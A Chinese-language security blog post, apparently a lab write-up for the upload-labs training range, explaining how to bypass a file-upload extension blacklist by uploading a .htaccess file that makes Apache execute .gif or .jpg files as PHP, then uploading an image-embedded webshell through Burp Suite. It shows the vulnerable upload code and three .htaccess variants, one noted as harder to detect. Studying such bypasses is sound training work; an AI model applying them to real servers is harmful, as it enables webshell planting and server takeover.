【文件上传绕过】四、.htaccess文件解析漏洞

admin 2025年6月19日00:14:50【文件上传绕过】四、.htaccess文件解析漏洞已关闭评论5 views字数 2361阅读7分52秒阅读模式

一、实验环境

  • PHPstudy
  • php5.6以下不带nts的版本
  • upload-labs-master上传漏洞靶场
  • 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

二、原理

原理:.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

二、源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); 
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
        $file_ext = trim($file_ext); 

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

四、.htaccess文件内容

.htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。

第一种、虽然好用,但是会误伤其他正常文件,容易被发现

<IfModule mime_module>
AddHandler php5-script .gif          
SetHandler application/x-httpd-php    
</IfModule>

  • 1
  • 2
  • 3
  • 4
  • 5

第二种、精确控制能被解析成php代码的文件,不容易被发现

<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   
AddHandler php5-script .gif          
</FilesMatch>

  • 1
  • 2
  • 3
  • 4
  • 5

第三种、同1没太大区别

<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>

  • 1
  • 2
  • 3
  • 4

利用方式:上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。

五、上传木马

第一步:

准备好.htaccess文件,内容为SetHandler application/x-httpd-php,当前目录下所有文件都会被解析成php代码执行

【文件上传绕过】四、.htaccess文件解析漏洞

选择upload-labs的第四关上传写好的.htaccess文件

这里使用第一种方法

<IfModule mime_module>
SetHandler application/x-httpd-php    
</IfModule>
  • 1
  • 2
  • 3

【文件上传绕过】四、.htaccess文件解析漏洞
第二步:

上传一个后缀名单之外的木马,例如:.jpg的图片马

这里直接通过burpsuite改包进行上传。

【文件上传绕过】四、.htaccess文件解析漏洞
【文件上传绕过】四、.htaccess文件解析漏洞
【文件上传绕过】四、.htaccess文件解析漏洞
【文件上传绕过】四、.htaccess文件解析漏洞
参考:https://blog.csdn.net/weixin_45728976/article/details/104363400

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月19日00:14:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【文件上传绕过】四、.htaccess文件解析漏洞https://cn-sec.com/archives/643862.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.